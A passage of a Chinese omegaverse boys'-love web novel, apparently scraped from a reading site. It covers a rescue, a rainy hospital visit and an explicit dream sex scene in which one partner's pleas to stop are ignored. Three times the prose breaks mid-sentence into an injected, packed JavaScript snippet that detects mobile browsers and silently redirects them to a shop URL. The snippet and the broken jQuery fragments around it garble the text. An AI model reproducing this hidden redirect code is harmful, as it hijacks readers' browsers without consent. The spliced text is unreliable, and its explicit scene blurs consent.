胖男人一下被巨大的力道掀翻出去,在地上翻滚两圈后,他从一地翻倒的桌椅中支起身,难以置信地看着安阡身前的男人。 阮霖放下了一直按着抑制贴的手,神色生冷,盯着他的眼神好像下一秒就能将他碎尸万段。 从他的身上,爆发出一种极其恐怖的气息,让胖男人忍不住浑身颤栗。 像有一只手正扼着他的咽喉,让他快要窒息。 至于阮霖是什么时候离开的安阡身边,又是怎么将他打飞出去的,他通通没有看到。 安阡也惊讶得有些呆滞了。 阮霖的身影挡在他前方,冷峻的背影透着一股难以言喻的味道,分不清是让人安心还是感到害怕。 他视线下落。 阮霖的右臂还在滴着血,腕上的手环漆黑锐利,似乎出现了一道轻微的裂痕。 11. 心动雨夜 胖男人很快被到来的警方扭送走了,警察留下了安阡和阮霖的联系方式,说晚些时候可能会喊他们过去配合调查。 之后安阡陪阮霖去了一趟医院,包扎手臂。 幸好伤口不深,检查也及时,医生包扎完后看了看阮霖的情况,觉得没什么大问题,就告诉他们可以回去了。 安阡问阮霖要不要去Omega科看看,餐厅里这么多Omega强制发情,阮霖说不定也受到了影响。 阮霖说:“不需要。” “为什么啊,不管有没有问题,检查一下总能更放心吧?” “我自己的情况,我自己清楚。” 安阡还想坚持,但阮霖让他帮忙从包里再拿两副抑制贴,贴在后颈上。 安阡看见那块发红的皮肤,以及那张快被信息素撑裂的抑制贴,有些心疼。 他想把原本的那张抑制贴撕下来,但阮霖阻止了他,“直接把新的贴上去就好。” “会闷过敏的吧?” “没事,我的信息素比较特殊,Alpha闻多了不好。” 难怪阿霖从来不提信息素相关的事情呢,应该是有某种隐疾吧。 都这样了,还在餐厅帮他出头…… 安阡感动地说:“没关系的阿霖,不管你什么样,我都不会嫌弃你的。” “我以前也因为太弱了,被其他Alpha看不起。你看我现在也过得好好的,就算你的信息素真的出了问题,我也会陪在你身边,和你一起走下去的。” 阮霖似乎被气笑了,“谁出问题了,我健康得很。” 安阡眨巴眨巴眼,“啊?哦……” “只是腺体偶尔会散发一些不太好的气味,可能会让Alpha应激。喝药调理一阵就好了,不用太担心我。” 安阡点点头,把抑制贴贴好。 阮霖打飞餐厅里恶劣至极的Alpha的时候,他确实闻到了一些让他觉得害怕的味道,和梦里的阮霖有些像。 但他没敢提。 他害怕阮霖知道那个梦的细节,更害怕阮霖因此疏远他。 安阡收回手,感觉阮霖的脊背轻轻动了一下,接着他听见低沉的声音慢慢溢出来,“对不起。” “为什么要和我道歉?”安阡不解,“你救了我,还因为我受了伤,应该是我和你说对不起才对。” “如果我没有约你去那家餐厅吃饭,就不会发生这种事了。” “如果你不去的话,那两个女生还不知道会怎么被那个Alpha欺负呢。”安阡说,“还好有你在,不然我都要吓死了。” “我看见了,你打了他一巴掌。” “是啊,我现在手都在抖呢。” 安阡笑笑说。 阮霖转过身,他的发胶掉的差不多了,头发凌乱地挂在额前,深黑的眼睛含着温情,凝视安阡的脸,“安阡,其实你是一个很勇敢的人。” 被阮霖盯着的时候,他有种被看进灵魂的错觉。 安阡躲开视线,声音有些微微发抖地说:“我哪里勇敢了?不一直都是你在保护我吗?刚才也是,如果你没出手打倒那个Alpha,我都不知道我要怎么才能逃跑。” “你也可以打倒他。” “我不行的,你知道,我从小身体就弱……” “他腿受伤了。”阮霖说,“我一个Omega都能打倒他,你当然也可以。” 他和安阡的距离很近,这个距离下,他脸上的绒毛都纤毫毕现。 安阡一下子放轻了呼吸,一动都不敢动。 那双黑色的眼睛在诞生的时刻是不是掺了蜜糖,不然为什么和阮霖对视的时候,他会觉得自己掉进了一个甜美的漩涡呢? 心脏在撞胸腔。 好快好快。 不要再看阮霖了……这不对…这不是应该对朋友产生的情感…… 安阡后退两步,“你先回家吧,我要走了。” 阮霖一愣,“你去哪里?” “我妈也在这家医院,我去看看她。” “我陪你去看看阿姨?我也好久没有见过她了,也是我不好,按理说应该早点去看望她的……” “下、下次吧!你受伤了不方便,下次有机会我再带你看望她!” 安阡慌张地夺门而出,甚至不敢回头看一眼阮霖的表情。 他觉得自己真没出息。 只是和阮霖说几句话而已,就紧张成这个样子。姜以南知道了指不定怎么嘲笑他,出去说他没暗恋阮霖都没人信。 明明以前不会这样的。 怎么从那晚之后,一切都变了呢? 安阡心乱乱的,烦躁到想要找个江跳了。结果他推开门走了两步,立刻被迎头浇下的雨水淋了满身。 下雨了? 安阡意外地抬头看了眼,黑天里乌云滚滚,时不时闪过几道雷光。 看得出老天也想为他今天的霉运再多添几道彩,安阡实在不想回去面对阮霖的目光,只能淋着雨往前走。 急诊和住院部是分立的两座楼,中间隔一条几十米长的小径,用不了几步就能走到。安阡加快了速度,想尽快远离这场瓢泼的大雨。 蓦然间,他在雨声中听见了急促的奔跑声。 刚开始他以为是幻听,但脚步声越来越近,最终停在了他身后。 伞的阴影落下的瞬间,安阡就知道了来者的身份。 他回头,看见阮霖还在喘着气,“下雨也不知道撑伞吗?就打算这么一个人走过去?” 深夜,住院楼外空空荡荡。 暴雨的小径,追赶脚步的雨伞,以及为他而来的阮霖。 安阡的世界在这一刻只剩下了这些,它们交织在一起,挤压进安阡的身体里,好像要把他的心脏刻成这幅画面的墓碑。 安阡抿唇,看着阮霖用白布条包着的手臂,“我没带伞。” “所以你觉得我也没带?” 安阡摇了摇头,阮霖把伞斜向他这边,自然地揽过他的肩,“来都来了,我送你进去吧。” 他一直把安阡送到病房前,在门口停下了脚步。 “去看阿姨吧。” 安阡回头看看他,阮霖路上一直注意着安阡,自己的衣服反而被雨水淋湿了一大片。 他有些内疚,“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420482|200824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也一起进来吧,阿霖。” 阮霖温和地说:“不用了,你说得对,我这样子确实不方便,下回我买点礼物再看阿姨。” “我在外面坐会儿,等你出来我再送你回去。” 阮霖说着在旁边的座位坐下了,安阡看了他几秒钟,听见阮霖不打算和他一起进去,他心里居然有点若有若无的庆幸。 他转身进了病房。 刚进去,就被护士拦下了。 安阡抬眸,“我是7床病人的家属。” “病人已经休息了,现在不建议家属探望,先生还是明早再来吧。” 病房内的灯确实已经灭了,安阡朝最里面那张病床望了一眼,看见隐约的床尾轮廓。 “我不吵醒她,只是进去看她一会儿,可以吗?” 护士原本想拒绝。 但她看见少年满身雨水,脂玉一样的脸染了几分憔悴,看得人又怜悯又心疼。面对这样的人,她实在说不出什么重话,于是侧了身让他进去。 “那你注意一点,别影响其他人休息,早点看完早点出来。” 安阡点点头,在病床边上的小凳子坐下,把床头的一盏小灯打开。 暗黄的灯光映出床上女人消瘦的面容,女人闭着眼,身上插着针管,输液袋里的药水还在不停地滴落。 她的眉毛皱着,似乎在睡梦里也不太安稳。 安阡给她整理好被褥,然后无声地看着灯光里的那张脸,许久之后,他才轻轻说:“你睡着了,真好,要不然我都不知道怎么面对你。” 女人很瘦,面部有细纹,身上还有不少暗色的黄疸,看起来有几分吓人。安阡记忆里的她并不这样,在安阡还小的时候,他对母亲的记忆就是一个极其美丽但又非常冷漠的人。 他停顿几秒,然后轻吸一口气。 “安如云,你知道吗,我其实挺恨你的。” 他的语气又慢又轻,没什么波动。 “你从来都不管我,只知道去你的那些酒会,和各种各样的Omega共度春宵。这么多年,你只陪我过了一次生日,那次还是我求着你,你才留下来的。” “其他人说我软弱,你也是,你说我不够像你,不是一个能够顶天立地的Alpha。” “但你呢?把我另一个妈妈逼走的,不也是你吗?他们说我是没人要的孩子,不也都是拜你所赐吗?你又比我好在哪里呢?” 安阡抓住那根正在滴液的长管,手几次收紧,最后又松开了。 他看着恢复流通的管子,自嘲地笑了声。 “我就是不勇敢。” “听见你生病的时候,我第一反应竟然是害怕,我害怕失去你。我想方设法凑钱给你治病,却又连亲眼见你一面都要犹豫好久。” 他把额头靠在病床边上,闭上眼,轻轻地说。 “你说,为什么偏偏你是我的妈妈呢?” “你还能好起来吗?” “我没有什么东西了,除了你之外,我只有阿霖。可是我现在好像连阿霖也要留不住了,我要怎么办……” “你能不能醒过来,试着爱我一次呢,妈妈?” 12. 旧梦重演 也许是这一天发生了太多事,在合上眼没多久之后,安阡就睡着了。 他不确定自己究竟睡了多久,只知道自己是被一阵难耐的热流催着醒来的。 睁开眼的第一秒,他就想,糟了。 阮霖还在病房外等他呢,他说好探望母亲之后就和阮霖一起走的,结果居然直接在病床边上睡过去了。 安阡蹭地站起来,窗外天色还是黑的,他应该没有睡很久。不知道阮霖在外面会不会等着急了,可能不想等他,先回去了也说不定。 安阡想着,打算离开病房。 没想到站起来之后,他突然一阵眩晕,腿也站不住,一骨碌往下栽去。 幸亏他反应过来,手往床上一撑,才没有彻底摔倒。 凳子也被他弄翻了,哐当一下动静可大,安阡有些惭愧,护士姐姐再三嘱咐过他,不要吵到病人休息,结果他还这么不小心。 他弯腰去把凳子重新摆正,就在低下头的瞬间,他忽然意识到不对。 刚才他撑了床。 床上……什么东西都没有。 安阡猛地抬起头,病床是空的。 旁边杆子上挂着的输液袋还在滴落药水,但刚才还奄奄一息躺在床上的安如云已经不见了。 他飞快把头顶的大灯打开,发现不只是7床,整个病房除他之外,空无一人。 甚至连方才拦他的护士姐姐也不在。 “怎么回事啊…该不会是闹鬼了吧?” 安阡有些惊惶,然后他想到还等在病房外的阮霖。 对,阿霖,不管怎样,先把阿霖找到再说。 但他才动了两步,就觉得身子软的像水一样,喉咙也干得像火在烧。他颤抖着,忍不住抓紧床杆,捂着肚子跪下来。 为什么会这么难受呢? 每一处皮肤都好痒,就好像谁把他所有的感受器都放大了一千倍一样,安阡全身上下都敏感得要命,就连和衣服的摩擦都让他饥渴到快要发疯。 好热。 他擦掉滴落下来的汗珠,意识到自己的皮肤此刻非常烫,白皙的肤色渐渐被粉红浸染。 又是这种易感期到来的感觉,前两天他才刚刚体会过一遍,现在怎么又发作了? 安阡小口喘着气,克制住自己不要发出什么奇怪的声音。 他无助地往四周看,他的视线被汗浸得有些模糊了,他希望找到些什么来帮帮自己。 病房里的一切都是洁白而冰冷的,但它们消解不了安阡的燥热,如果再不做点什么,他觉得自己会被汹涌上来的欲望憋死在这里。 他无意识地靠着床角磨蹭,摩擦能让他感觉好受点。 但到底是饮鸩止渴。 身体不会满足于一时的刺激,它只会贪恋更多。你越是给它,它越是得寸进尺,越是变本加厉。 怎么办…… 谁来救救他…… 安阡的耳朵捕捉到了一些细微的响动,他抬起头,病房的门被推开了,一身西服的男人快步走进来,在他跟前蹲下。 “……安阡?” 是阮霖,安阡眯眼看着面前的人,他的意识或许不太清醒,但应该不会认错人。 安阡攒足力气,抓住阮霖的手。 “阿霖,我感觉我有些不对劲。” 阮霖也很快检查了安阡的状态,眉毛紧紧蹙起,“看起来像易感期的症状,你有带抑制剂吗?” “没有,”安阡摇头,“我的易感期不在这个时间。” “那就有些奇怪了,你别动,我帮你检查一下。” 阮霖靠近安阡,想要查看他的腺体,但他才刚贴近了一点,安阡突然抵住了他的胸膛,将他往外推。 “怎么了……” 他的声音放轻了。 Alpha在他身下,眼眸带泪,看着像要哭出来了。他全身泛着不正常的粉红,如同一个脆弱易碎的瓷娃娃。 安阡把自己蜷成一小团,努力往后挪动,“你先别过来,阿霖,别靠近我。” 他捂住自己,想要藏起快到不正常的心跳。 阮霖靠近的一瞬间,他又闻到了那个味道。 暴雪天的针叶林。 比餐厅里要更加清晰,但这次带给他的不是恐惧感,反而像催情剂一样,不停撩拨着安阡的神经,让他想要扑上去,抓着阮霖啃咬。 安阡的拒绝似乎让阮霖有些动怒,他压下眉间的阴郁,耐着性子说:“我只是想帮你,安阡。” “我知道,但你先不要过来,我,我怕我会忍不住……” “忍不住什么?” 忍不住拥抱你。 忍不住和你亲吻。 忍不住和你做.爱。 安阡抵住舌头,把所有在脑子里盘旋的句子都压制下来,他可以丢掉所有的理智,所有的贞洁,什么他都可以不要,但有一样东西他不能失去。 ——那就是阮霖。 安阡的沉默反而更激发了阮霖的怒火,他像一头压抑已久的雄狮,暗色的眼眸紧紧缠在安阡的脸上。 “你不说话,我就当你是不想见到我。” “那我会立刻出去,不在这种时候打扰你。毕竟Alpha解决自己的生理问题,确实不需要我在场。” 阮霖站起来,作势要出门。 安阡立刻惊慌了,他握住阮霖的右手,想要将他留下。 他还没说出什么挽留的话,视线忽然黏在了阮霖的手臂上。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420483|200824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲眼看着医生给阮霖包扎的伤口。 不见了。 阮霖看见安阡抓住自己,然后目光就这么直直地盯着一个地方,也不说话,仿佛凝固住了一般。 他垂眸扫了一眼,安阡正巧握在他那只黑色的手环上。 “不想我走吗?”他淡薄地笑笑,“那你可以试试,把我的手环摘下来。” 手环的暗扣咔哒一下解开了,黑环松垮地搭在阮霖的腕上,安阡随便一拽,就能把它拿下来。 但安阡没有动,还是一副呆滞的样子。 阮霖等了十几秒,终于耐心耗尽,把手腕从安阡的手里抽了出来。 手环铛铛响了声,落在地上。 寒冷的信息素不加掩饰地从阮霖身上散漫开,安阡闻到这股侵略性极强的气味,意识总算恢复过来。 他眼珠动了动,然后慢吞吞地往上抬,看见阮霖生气又略带心疼的面容。 安阡的脑子可能有点被易感期冲坏了,一个问题要反应好久才能转过弯来,就像短路的机器人需要重连似的。 得亏他清醒的还不算晚。 “你没有伤口。”他静静地说,口吻更多的是一种放松,“这又是一个梦,对吗?” 这就对了。 空无一人的病房,突如其来的易感期,现在都有了解释。 他肯定是想阮霖想得精神紊乱了,才会又一次幻想出这样丧心病狂的梦来。 “我应该是疯了。” 他喃喃说,看了眼不明所以的阮霖,突然上手开始解自己的纽扣。 阮霖眼睁睁看着他把自己的衣裤褪下来,露出纤细的小腿和白嫩的肌肤。在安阡除去自己最后那层衣物前,他及时地扣住安阡的手,才不至于让他们立刻坦诚相见。 “你在做什么,安阡?” 他咽了咽口水,即使安阡的样子看起来很诱人,但他还是愿意相信安阡的作为另有原因。 “我都这样了,能是做什么?”安阡睁着圆圆亮亮的眼睛,样子还很理所当然,“让你做我啊。” 阮霖震惊,“你知道我是——” “你是Omega,我知道啊。但梦里什么都有可能吧,反正,反正上回也做过一次了…再来一次也不是不可以吧……” 安阡的声音渐渐减弱了,哪怕是在梦里,说这些话还是让他觉得有些羞耻。 他耳朵尖儿冒红,于是避开了阮霖的视线,低下头不管不顾地勾住布料往下一拉。 这是你的梦…安阡,这是你的梦。 你想做什么都可以。 他嘟嘟囔囔地给自己打气。 接着他别过脸,忸怩着说: “现,现在,我命令你,含住它,一直到我爽为止。” 13. 诱人甜点 他不是一个擅长命令的人。 安阡还记得他们小时候玩角色扮演,大家抽卡来决定自己的身份。 其中有一个角色是神明,大家都很想抽到这张卡牌。因为当上神明的人可以对其他人下达神谕,所有人都要无条件服从他的话。 小安阡的运气不好,他永远抽不到神明牌。 他只能在角落里,羡慕又向往地看着那个抽到神明牌的小孩。而成为神明的小孩们在下达指令的时候,尤其喜欢命令小安阡。 他们让小安阡穿小裙子,学小猫咪叫。 他们喜欢看小安阡为难又羞耻,却不得不服从他们命令的样子,欺负一个Alpha会带给他们居于人上的快感,尤其这个Alpha长得还清纯又漂亮。 小安阡回家之后,就一个人偷偷地哭。 他很期待自己成为神明的那一天,终于有一回,在小安阡对着自己的凡人牌瘪嘴的时候,阮霖拉过了他的手,把自己抽到的神明牌交给了他。 他很高兴。 他终于能够当上神明了,小安阡花了很长时间思考自己颁布的第一个神谕,最后他拿出了自己带来的小蛋糕,命令其他人切好,分给大家吃。 但是小孩们把他的蛋糕抢走了,所有人都吃到了蛋糕,只有神明没有。 小安阡想找他们要个说法,小孩们拿起剩下的奶油,抹在了小安阡脸上。 后来他就知道了,原来不是所有神明都有他的信仰者。 劣神,是没有信徒的。 安阡下达完命令之后,就用一种惶然又带着期待的眼神,偷偷地看着阮霖。 他早就有了阮霖不听从命令的准备,但又克制不住地为可能发生的事情感到紧张好奇。 阮霖的视线下落。 安阡的身体也和他本人一样,漂亮又有些可爱。 颜色很白,尖端带着浅浅的粉。 模样比甜点要更加可口。 他瞧了一眼Alpha,小小的一张脸红得快要滴出血来,怎么看都只会让人觉得怜爱,没有半点威慑力。 安阡有些羞愤。 阮霖的眼神就好像把他当成食物一样审视,让他觉得很没面子。 “看我干什么!我,我在命令你呢!你要听话,知道吗!” 现在明明是他在发号施令,阮霖的态度却仿佛在看一只生气的小猫咪,他作为命令者的尊严被削减的片甲不留。 安阡生气的同时,又有些哀怨。 果然,没有人会听他的话。 阮霖笑了,头缓缓低下去。 “遵命,主人。” 阮霖低下头的一瞬间,安阡还在为阮霖听从了自己的指令而沾沾自喜,但没想到阮霖刚刚俯首下去,他整个人就剧烈地抖动起来。 “等…等一下。” “哦?主人不舒服吗?” 阮霖松开,“是我服务得不够好吗?” 是太好了。 安阡咬紧了嘴唇。 他没想到被人包裹着也这么舒服,阮霖的头动一下,他就跟着一抖,软绵绵的尾音不小心就从唇齿间溢出来。 “你可以叫出来,”阮霖的声音低沉性感,“这里只有我们两个人。” 这回的阮霖比上一个梦里温柔许多,他觉得自己要溺水了,在一片名为阮霖的深洋里。 他无意识抓紧阮霖的头发,将黑色的发丝揉得凌乱。 阮霖的头颅低下,凌厉的眉目沉静垂落,好像虔诚的信徒在对着神明朝拜。安阡看了一眼,心脏飞快地跳动起来。 他的思绪不由自主地飘荡,又想起雨夜里阮霖撑伞出现在他背后的画面。 真实和虚假的边界在刹那间有一些模糊。现实中的阮霖有可能这么对待他吗?这些看似美好的妄想,是否只是他一个人的庄周梦蝶? 他分不清。 但他知道,他只想沉溺在此时此刻。 安阡的呼吸逐渐急促,他微微仰起头,说话声音里带些轻喘: “别,阿霖。再等一下,别,别这么快。” 或许是他的低吟声太过于微弱,信徒并没有听见神明的抗议,只是自顾自地继续这场朝拜。 他将神明圈禁起来。 像喂养一只刚刚出生的小兔,教它如何行动,如何发出声音,如何寻找娱乐的方式。 朝拜到了激烈处,似乎变成一场旷日持久的仪式,雪白的神明在圣坛上颤抖,平日里的高贵圣洁都被抛下,在席卷理智的疯狂中,对他的信徒投降。 阮霖抬起头,凝视着安阡迷离的双眼,嘴角弯了一弯: “看来你很喜欢呢。” 安阡听不太清,他好像飘浮在云上,除了正紧紧抱着他的阮霖,他感知不到其余的存在。 阮霖扣住安阡的腰部,脸颊贴着他纤薄的肌肉向上,在安阡紧紧绷起的白皙脖颈上轻轻咬了一下,皮肤上立刻泛起一圈艳红的齿痕。 他对着安阡茫然的面孔说:“现在是什么感觉?” 安阡轻声呢喃:“阿霖,我好热。” “哪里热?” “全身…全身都很热。” 他咬唇,手在自己的肚子上点了点。 “里面很痒,很空,有点难受。” “是么。” 阮霖的眼眸染上了暗色,他的手覆在安阡的手上,“是这里难受?” 安阡小幅度地点了下头,乖得像只小兔。 下一秒他的体验就有些不对劲了,安阡难耐地扭动了下腰身,但是被阮霖按住了。 阮霖动动手指,气息喷洒在安阡的锁骨上,“现在呢?还难受吗?还痒不痒?” “不,不难受了,你,你拿出去。” “这么有效果,为什么还要拿出去?”阮霖欣赏着安阡诱人的表情,“还是说,你觉得只是这样还不够?” “不,不是……” “不是什么?” “够了,我不要了。” “不要了?” 阮霖的声音忽然冷下来,安阡懵懵地抬起脸,看着突然停止动作的阮霖。 阮霖手指勾着皮带,轻捷优雅地解下。 安阡微微发抖,阮霖的脸色和他身上暴涨的信息素气味都令人害怕。 他觉得自己是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420484|200824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个正在等待受刑的死刑犯,长矛在他眼前,即将把他捅出无数个洞。 要完了。 安阡正要闭上眼认命,阮霖的声音低低地响起: “给你一个选择。” “如果你说不要,我们就停下。如果你说可以,我就继续。”他顿了下,看着安阡染满情色的脸,“你想清楚,要是同意的话,之后不管你说什么,我都不会放开你。” 阮霖的目光像一匹孤僻偏执的狼,安阡鲜少在他的脸上看见这样的表情。 犹如阴湿的恶鬼。 好像安阡只要吐出半点同意的表示,阮霖就会永远缠着他,死都不松手。 安阡有一瞬间的心悸。 上个梦里的阮霖才没有这么多话,那个人凶狠得好像安阡是他的私人物品,他可以随意将安阡揉捏摆布。 这回安阡已经接受了阮霖在梦境里疯狂的设定,可他在此刻又像一个绅士一样停下来,征求安阡的看法。 有什么重要的呢? 这不过是一个只有安阡能够记住的梦而已,等他醒过来,阮霖还是那个温和的Omega,不可能和他相爱,更不可能成为一个会猛烈地与他相拥的野兽。 他们这辈子,只会是两条永不相交的平行线。 阮霖正停在他身前,阴沉却冷静地等待安阡回答。 算了随便吧,先爽了再说,安阡垂眸,深吸了口气: “可以。” 他声音极轻地说。 安阡微微点了下头,阮霖立刻毫不犹豫地倾身上前。 他的动作如此急不可耐,像是等了这一刻很长时间。安阡失声地叫了一声,随即被阮霖维持这个姿势抱起来,压在病床上。 他疼的快死了,和阮霖说不要了,他撤回刚刚说的话。 但阮霖根本不听。 安阡头脑又热又胀,怀疑这是阮霖策划的一场谋杀,这个坏蛋就是一柄彻头彻尾的凶器,想要刺死他。 很奇怪,他明明是个Alpha。 但和阮霖在一起的时候,他却能自然而然地接受阮霖,默许他狂躁的信息素侵入腺体,默许他的所有不合时宜的行为,甚至在阮霖将要离开的时候恋恋不舍地挽留。 因为是梦,所以什么情况都可能发生吗? 安阡暗自想,再这样发展下去,说不定他还真的和阮霖调换个位置,让阮霖来做Alpha,他做阮霖的专属Omega。 前提是这个离奇的梦还能有后续。 幻想了两秒成为Omega的生活,他自己也觉得这想法太异想天开,忍不住笑了。 但他嘴角才刚扬起一点,笑声马上化作低吟冲出嘴唇,阮霖挺腰,在安阡耳垂上咬了一口: “想什么呢?” 安阡连忙拉回思绪,紧张道:“没有,没想什么。” “这种时候还有工夫想别的事,看来我还是让你太悠闲了,对吗?” 安阡甚至都没来得及回应,他的所有语言系统被冲散,很快,他的脑子就想不到除阮霖外的任何东西了,只知道抱紧眼前的人,让他的信徒给予他最刻骨铭心的时刻。